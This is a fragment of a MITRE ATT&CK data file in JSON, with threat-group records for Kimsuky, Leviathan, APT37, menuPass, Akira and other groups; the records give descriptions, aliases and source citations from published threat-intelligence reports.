                    "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021",
                    "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/"
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            "name": "BackdoorDiplomacy",
            "description": "[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) is a cyber espionage threat group that has been active since at least 2017. [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has targeted Ministries of Foreign Affairs and telecommunication companies in Africa, Europe, the Middle East, and Asia.(Citation: ESET BackdoorDiplomacy Jun 2021)",
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            "modified": "2025-01-29T21:17:48.165Z",
            "name": "Kimsuky",
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the UN and the government, education, business services, and manufacturing sectors in the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions. [Kimsuky](https://attack.mitre.org/groups/G0094) operations have overlapped with those of other North Korean cyber espionage actors likely as a result of ad hoc collaborations or other limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)\n\n[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.\n\nIn 2023, [Kimsuky](https://attack.mitre.org/groups/G0094) has used commercial large language models to assist with vulnerability research, scripting, social engineering and reconnaissance.(Citation: MSFT-AI)",
            "aliases": [
                "Kimsuky",
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                    "url": "https://attack.mitre.org/groups/G0094",
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                {
                    "source_name": "Black Banshee",
                    "description": "(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)"
                },
                {
                    "source_name": "THALLIUM",
                    "description": "(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)"
                },
                {
                    "source_name": "APT43",
                    "description": "(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)"
                },
                {
                    "source_name": "Emerald Sleet",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Proofpoint TA427 April 2024)"
                },
                {
                    "source_name": "TA427",
                    "description": "(Citation: Proofpoint TA427 April 2024)"
                },
                {
                    "source_name": "Kimsuky",
                    "description": "(Citation: Securelist Kimsuky Sept 2013)(Citation: Malwarebytes Kimsuky June 2021)"
                },
                {
                    "source_name": "Springtail",
                    "description": "(Citation: Symantec Troll Stealer 2024)"
                },
                {
                    "source_name": "Velvet Chollima",
                    "description": "(Citation: Zdnet Kimsuky Dec 2018)(Citation: ThreatConnect Kimsuky September 2020)(Citation: Malwarebytes Kimsuky June 2021)"
                },
                {
                    "source_name": "AhnLab Kimsuky Kabar Cobra Feb 2019",
                    "description": "AhnLab. (2019, February 28). Operation Kabar Cobra - Tenacious cyber-espionage campaign by Kimsuky Group. Retrieved September 29, 2021.",
                    "url": "https://global.ahnlab.com/global/upload/download/techreport/%5BAnalysis_Report%5DOperation%20Kabar%20Cobra.pdf"
                },
                {
                    "source_name": "EST Kimsuky April 2019",
                    "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.",
                    "url": "https://blog.alyac.co.kr/2234"
                },
                {
                    "source_name": "Netscout Stolen Pencil Dec 2018",
                    "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.",
                    "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/"
                },
                {
                    "source_name": "Zdnet Kimsuky Dec 2018",
                    "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.",
                    "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/"
                },
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a"
                },
                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite"
                },
                {
                    "source_name": "EST Kimsuky SmokeScreen April 2019",
                    "description": "ESTSecurity. (2019, April 17). Analysis of the APT Campaign \u2018Smoke Screen\u2019 targeting to Korea and US  \ucd9c\ucc98: https://blog.alyac.co.kr/2243 [\uc774\uc2a4\ud2b8\uc2dc\ud050\ub9ac\ud2f0 \uc54c\uc57d \ube14\ub85c\uadf8]. Retrieved September 29, 2021.",
                    "url": "https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf"
                },
                {
                    "source_name": "Malwarebytes Kimsuky June 2021",
                    "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"
                },
                {
                    "source_name": "Proofpoint TA427 April 2024",
                    "description": "Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427\u2019s Art of Information Gathering. Retrieved May 3, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering"
                },
                {
                    "source_name": "Mandiant APT43 March 2024",
                    "description": "Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.",
                    "url": "https://services.google.com/fh/files/misc/apt43-report-en.pdf"
                },
                {
                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
                },
                {
                    "source_name": "MSFT-AI",
                    "description": "Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/"
                },
                {
                    "source_name": "Symantec Troll Stealer 2024",
                    "description": "Symantec Threat Hunter Team. (2024, May 16). Springtail: New Linux Backdoor Added to Toolkit. Retrieved January 17, 2025.",
                    "url": "https://www.security.com/threat-intelligence/springtail-kimsuky-backdoor-espionage"
                },
                {
                    "source_name": "Securelist Kimsuky Sept 2013",
                    "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.",
                    "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/"
                },
                {
                    "source_name": "ThreatConnect Kimsuky September 2020",
                    "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020.",
                    "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/"
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            "name": "Leviathan",
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) is a Chinese state-sponsored cyber espionage group that has been attributed to the Ministry of State Security's (MSS) Hainan State Security Department and an affiliated front company.(Citation: CISA AA21-200A APT40 July 2021) Active since at least 2009, [Leviathan](https://attack.mitre.org/groups/G0065) has targeted the following sectors: academia, aerospace/aviation, biomedical, defense industrial base, government, healthcare, manufacturing, maritime, and transportation across the US, Canada, Australia, Europe, the Middle East, and Southeast Asia.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: CISA Leviathan 2024)",
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                    "source_name": "TEMP.Jumper",
                    "description": "[Leviathan](https://attack.mitre.org/groups/G0065) was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye APT40 March 2019)"
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                {
                    "source_name": "TEMP.Periscope",
                    "description": "[Leviathan](https://attack.mitre.org/groups/G0065) was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)"
                },
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                    "source_name": "Accenture MUDCARP March 2019",
                    "description": "Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021.",
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                    "source_name": "Crowdstrike KRYPTONITE PANDA August 2018",
                    "description": "Adam Kozy. (2018, August 30). Two Birds, One Stone Panda. Retrieved August 24, 2021.",
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                },
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                },
                {
                    "source_name": "MSTIC GADOLINIUM September 2020",
                    "description": "Ben Koehl, Joe Hannon. (2020, September 24). Microsoft Security - Detecting Empires in the Cloud. Retrieved August 24, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/"
                },
                {
                    "source_name": "CISA Leviathan 2024",
                    "description": "CISA et al. (2024, July 8). People\u2019s Republic of China (PRC) Ministry of State Security APT40 Tradecraft in Action. Retrieved February 3, 2025.",
                    "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-190a"
                },
                {
                    "source_name": "CISA AA21-200A APT40 July 2021",
                    "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. Retrieved August 12, 2021.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a"
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                    "source_name": "APT40",
                    "description": "FireEye reporting on TEMP.Periscope (which was combined into APT40) indicated TEMP.Periscope was reported upon as Leviathan.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)"
                },
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                },
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                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
                },
                {
                    "source_name": "FireEye APT40 March 2019",
                    "description": "Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html"
                },
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                    "source_name": "SecureWorks BRONZE MOHAWK n.d.",
                    "description": "SecureWorks. (n.d.). Threat Profile - BRONZE MOHAWK. Retrieved August 24, 2021.",
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            "name": "Storm-1811",
            "description": "[Storm-1811](https://attack.mitre.org/groups/G1046) is a financially-motivated entity linked to [Black Basta](https://attack.mitre.org/software/S1070) ransomware deployment. [Storm-1811](https://attack.mitre.org/groups/G1046) is notable for unique phishing and social engineering mechanisms for initial access, such as overloading victim email inboxes with non-malicious spam to prompt a fake \"help desk\" interaction leading to the deployment of adversary tools and capabilities.(Citation: Microsoft Storm-1811 2024)(Citation: rapid7-email-bombing)(Citation: RedCanary Storm-1811 2024)(Citation: RedCanary June Insights 2024)",
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                    "source_name": "Microsoft Storm-1811 2024",
                    "description": "Microsoft Threat Intelligence. (2024, May 15). Threat actors misusing Quick Assist in social engineering attacks leading to ransomware. Retrieved March 14, 2025.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/"
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                    "source_name": "RedCanary Storm-1811 2024",
                    "description": "Red Canary Intelligence. (2024, December 2). Storm-1811 exploits RMM tools to drop Black Basta ransomware. Retrieved March 14, 2025.",
                    "url": "https://redcanary.com/blog/threat-intelligence/storm-1811-black-basta/"
                },
                {
                    "source_name": "RedCanary June Insights 2024",
                    "description": "The Red Canary Team. (2024, June 20). Intelligence Insights: June 2024. Retrieved March 14, 2025.",
                    "url": "https://redcanary.com/blog/threat-intelligence/intelligence-insights-june-2024/"
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                    "source_name": "rapid7-email-bombing",
                    "description": "Tyler McGraw, Thomas Elkins, and Evan McCann. (2024, May 10). Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators. Retrieved January 31, 2025.",
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            "modified": "2023-10-09T16:46:55.719Z",
            "name": "Ajax Security Team",
            "description": "[Ajax Security Team](https://attack.mitre.org/groups/G0130) is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 [Ajax Security Team](https://attack.mitre.org/groups/G0130) transitioned from website defacement operations to malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian users of anti-censorship technologies.(Citation: FireEye Operation Saffron Rose 2013)",
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                    "source_name": "Rocket Kitten",
                    "description": "Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between [Ajax Security Team](https://attack.mitre.org/groups/G0130) and Rocket Kitten.(Citation: Check Point Rocket Kitten)(Citation: IranThreats Kittens Dec 2017)"
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                    "source_name": "Operation Woolen-Goldfish",
                    "description": "Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between [Ajax Security Team](https://attack.mitre.org/groups/G0130) and the campaign Operation Woolen-Goldfish.(Citation: Check Point Rocket Kitten)(Citation: TrendMicro Operation Woolen Goldfish March 2015)"
                },
                {
                    "source_name": "TrendMicro Operation Woolen Goldfish March 2015",
                    "description": "Cedric Pernet, Kenney Lu. (2015, March 19). Operation Woolen-Goldfish - When Kittens Go phishing. Retrieved April 21, 2021.",
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                    "source_name": "CrowdStrike Flying Kitten ",
                    "description": "Dahl, M.. (2014, May 13). Cat Scratch Fever: CrowdStrike Tracks Newly Reported Iranian Actor as FLYING KITTEN. Retrieved May 27, 2020.",
                    "url": "https://www.crowdstrike.com/blog/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/"
                },
                {
                    "source_name": "IranThreats Kittens Dec 2017",
                    "description": "Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.",
                    "url": "https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/"
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                {
                    "source_name": "FireEye Operation Saffron Rose 2013",
                    "description": "Villeneuve, N. et al.. (2013). OPERATION SAFFRON ROSE . Retrieved May 28, 2020.",
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            "name": "Akira",
            "description": "[Akira](https://attack.mitre.org/groups/G1024) is a ransomware variant and ransomware deployment entity active since at least March 2023.(Citation: Arctic Wolf Akira 2023) [Akira](https://attack.mitre.org/groups/G1024) uses compromised credentials to access single-factor external access mechanisms such as VPNs for initial access, then various publicly-available tools and techniques for lateral movement.(Citation: Arctic Wolf Akira 2023)(Citation: Secureworks GOLD SAHARA) [Akira](https://attack.mitre.org/groups/G1024) operations are associated with \"double extortion\" ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid. Technical analysis of [Akira](https://attack.mitre.org/software/S1129) ransomware indicates variants capable of targeting Windows or VMWare ESXi hypervisors and multiple overlaps with [Conti](https://attack.mitre.org/software/S0575) ransomware.(Citation: BushidoToken Akira 2023)(Citation: CISA Akira Ransomware APR 2024)(Citation: Cisco Akira Ransomware OCT 2024)",
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                    "description": "Nutland, J. and Szeliga, M. (2024, October 21). Akira ransomware continues to evolve. Retrieved December 10, 2024.",
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                    "source_name": "BushidoToken Akira 2023",
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                    "url": "https://blog.bushidotoken.net/2023/09/tracking-adversaries-akira-another.html"
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                    "description": "Zemah, Y. (2024, December 2). Threat Assessment: Howling Scorpius (Akira Ransomware). Retrieved January 8, 2025.",
                    "url": "https://unit42.paloaltonetworks.com/threat-assessment-howling-scorpius-akira-ransomware/"
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                    "description": "Meyers, A. (2018, June 15). Meet CrowdStrike\u2019s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021.",
                    "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/"
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                    "source_name": "Proofpoint TA416 November 2020",
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                    "description": "Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022.",
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            "description": "[menuPass](https://attack.mitre.org/groups/G0045) is a threat group that has been active since at least 2006. Individual members of [menuPass](https://attack.mitre.org/groups/G0045) are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)\n\n[menuPass](https://attack.mitre.org/groups/G0045) has targeted healthcare, defense, aerospace, finance, maritime, biotechnology, energy, and government sectors globally, with an emphasis on Japanese organizations. In 2016 and 2017, the group is known to have targeted managed IT service providers (MSPs), manufacturing and mining companies, and a university.(Citation: Palo Alto menuPass Feb 2017)(Citation: Crowdstrike CrowdCast Oct 2013)(Citation: FireEye Poison Ivy)(Citation: PWC Cloud Hopper April 2017)(Citation: FireEye APT10 April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)",
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                    "description": "(Citation: Accenture Hogfish April 2018)"
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                    "description": "(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)"
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                    "description": "(Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)(Citation: Symantec Cicada November 2020)"
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                    "description": "(Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: DOJ APT10 Dec 2018)(Citation: Symantec Cicada November 2020)"
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                    "description": "(Citation: Palo Alto menuPass Feb 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)"
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                    "description": "(Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)"
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                    "description": "(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)"
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                    "description": "(Citation: Symantec Cicada November 2020)"
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                    "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.",
                    "url": "http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
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                    "source_name": "SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022",
                    "description": "Counter Threat Unit Research Team . (2022, June 23). BRONZE STARLIGHT RANSOMWARE OPERATIONS USE HUI LOADER. Retrieved December 7, 2023.",
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                    "source_name": "Crowdstrike CrowdCast Oct 2013",
                    "description": "Crowdstrike. (2013, October 16). CrowdCasts Monthly: You Have an Adversary Problem. Retrieved November 17, 2024.",
                    "url": "https://www.slideshare.net/slideshow/crowd-casts-monthly-you-have-an-adversary-problem/27262315"
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                    "source_name": "FireEye APT10 April 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"
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                    "source_name": "FireEye Poison Ivy",
                    "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved September 19, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-poison-ivy.pdf"
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                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
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                    "source_name": "Palo Alto menuPass Feb 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.",
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                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
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                    "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.",
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                    "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.",
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            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. [Tropic Trooper](https://attack.mitre.org/groups/G0081) focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)",
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                    "description": "Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020.",
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            "name": "APT37",
            "description": "[APT37](https://attack.mitre.org/groups/G0067) is a North Korean state-sponsored cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to the following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, North Korean Human Rights, and Evil New Year 2018.(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft Jun 2016)(Citation: Talos Group123)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.",
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            "x_mitre_contributors": [
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                {
                    "source_name": "Ricochet Chollima",
                    "description": "(Citation: CrowdStrike Richochet Chollima September 2021)"
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                    "source_name": "APT37",
                    "description": "(Citation: FireEye APT37 Feb 2018)"
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                {
                    "source_name": "Reaper",
                    "description": "(Citation: FireEye APT37 Feb 2018)"
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                    "source_name": "Group123",
                    "description": "(Citation: FireEye APT37 Feb 2018)"
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                    "source_name": "TEMP.Reaper",
                    "description": "(Citation: FireEye APT37 Feb 2018)"
                },
                {
                    "source_name": "ScarCruft",
                    "description": "(Citation: Securelist ScarCruft Jun 2016)(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft May 2019)"
                },
                {
                    "source_name": "InkySquid",
                    "description": "(Citation: Volexity InkySquid BLUELIGHT August 2021)"
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                {
                    "source_name": "Volexity InkySquid BLUELIGHT August 2021",
                    "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021.",
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                {
                    "source_name": "CrowdStrike Richochet Chollima September 2021",
                    "description": "CrowdStrike. (2021, September 30). Adversary Profile - Ricochet Chollima. Retrieved September 30, 2021.",
                    "url": "https://www.crowdstrike.com/adversaries/ricochet-chollima/"
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                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved November 17, 2024.",
                    "url": "https://services.google.com/fh/files/misc/apt37-reaper-the-overlooked-north-korean-actor.pdf"
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                    "source_name": "Securelist ScarCruft May 2019",
                    "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.",
                    "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/"
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                {
                    "source_name": "Talos Group123",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html"
                },
                {
                    "source_name": "Securelist ScarCruft Jun 2016",
                    "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.",
                    "url": "https://securelist.com/operation-daybreak/75100/"
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                    "source_name": "Threat Group-1314",
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                    "description": "(Citation: Dell TG-1314)"
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                    "source_name": "Dell TG-1314",
                    "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.",
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            "modified": "2025-04-25T14:49:05.962Z",
            "name": "Threat Group-1314",
            "description": "[Threat Group-1314](https://attack.mitre.org/groups/G0028) is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure. (Citation: Dell TG-1314)",
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            "created": "2019-09-23T13:43:36.945Z",
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                    "url": "https://attack.mitre.org/groups/G0096",
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                {
                    "source_name": "Wicked Panda",
                    "description": "(Citation: Crowdstrike GTR2020 Mar 2020)"
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                {
                    "source_name": "APT41",
                    "description": "(Citation: FireEye APT41 2019)"
                },
                {
                    "source_name": "Brass Typhoon",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
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                    "source_name": "BARIUM",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
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                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"
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                {
                    "source_name": "FireEye APT41 2019",
                    "description": "FireEye. (2019). Double DragonAPT41, a dual espionage andcyber crime operationAPT41. Retrieved September 23, 2019.",
                    "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"
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                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
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            "description": "[CURIUM](https://attack.mitre.org/groups/G1012) is an Iranian threat group, first reported in September 2019 and active since at least July 2018, targeting IT service providers in the Middle East.(Citation: Symantec Tortoiseshell 2019) [CURIUM](https://attack.mitre.org/groups/G1012) has since invested in building relationships with potential targets via social media over a period of months to establish trust and confidence before sending malware. Security researchers note [CURIUM](https://attack.mitre.org/groups/G1012) has demonstrated great patience and persistence by chatting with potential targets daily and sending benign files to help lower their security consciousness.(Citation: Microsoft Iranian Threat Actor Trends November 2021)",
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                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Proofpoint TA456 Defense Contractor July 2021)"
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                    "description": "(Citation: PWC Yellow Liderc 2023)"
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                    "description": "Miller, J. et. al. (2021, July 28). I Knew You Were Trouble: TA456 Targets Defense Contractor with Alluring Social Media Persona. Retrieved March 11, 2024.",
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                    "description": "MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity \u2013 MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"
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                    "source_name": "PWC Yellow Liderc 2023",
                    "description": "PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.",
                    "url": "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"
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                    "source_name": "Symantec Tortoiseshell 2019",
                    "description": "Symantec Threat Hunter Team. (2019, September 18). Tortoiseshell Group Targets IT Providers in Saudi Arabia in Probable Supply Chain Attacks. Retrieved May 20, 2024.",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain"
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                    "description": "Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., L\u00e9veill\u00e9, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo \u2013 the vivisection of a large Linux server\u2011side credential\u2011stealing malware campaign. Retrieved February 10, 2021.",
                    "url": "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/"
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            "name": "FIN4",
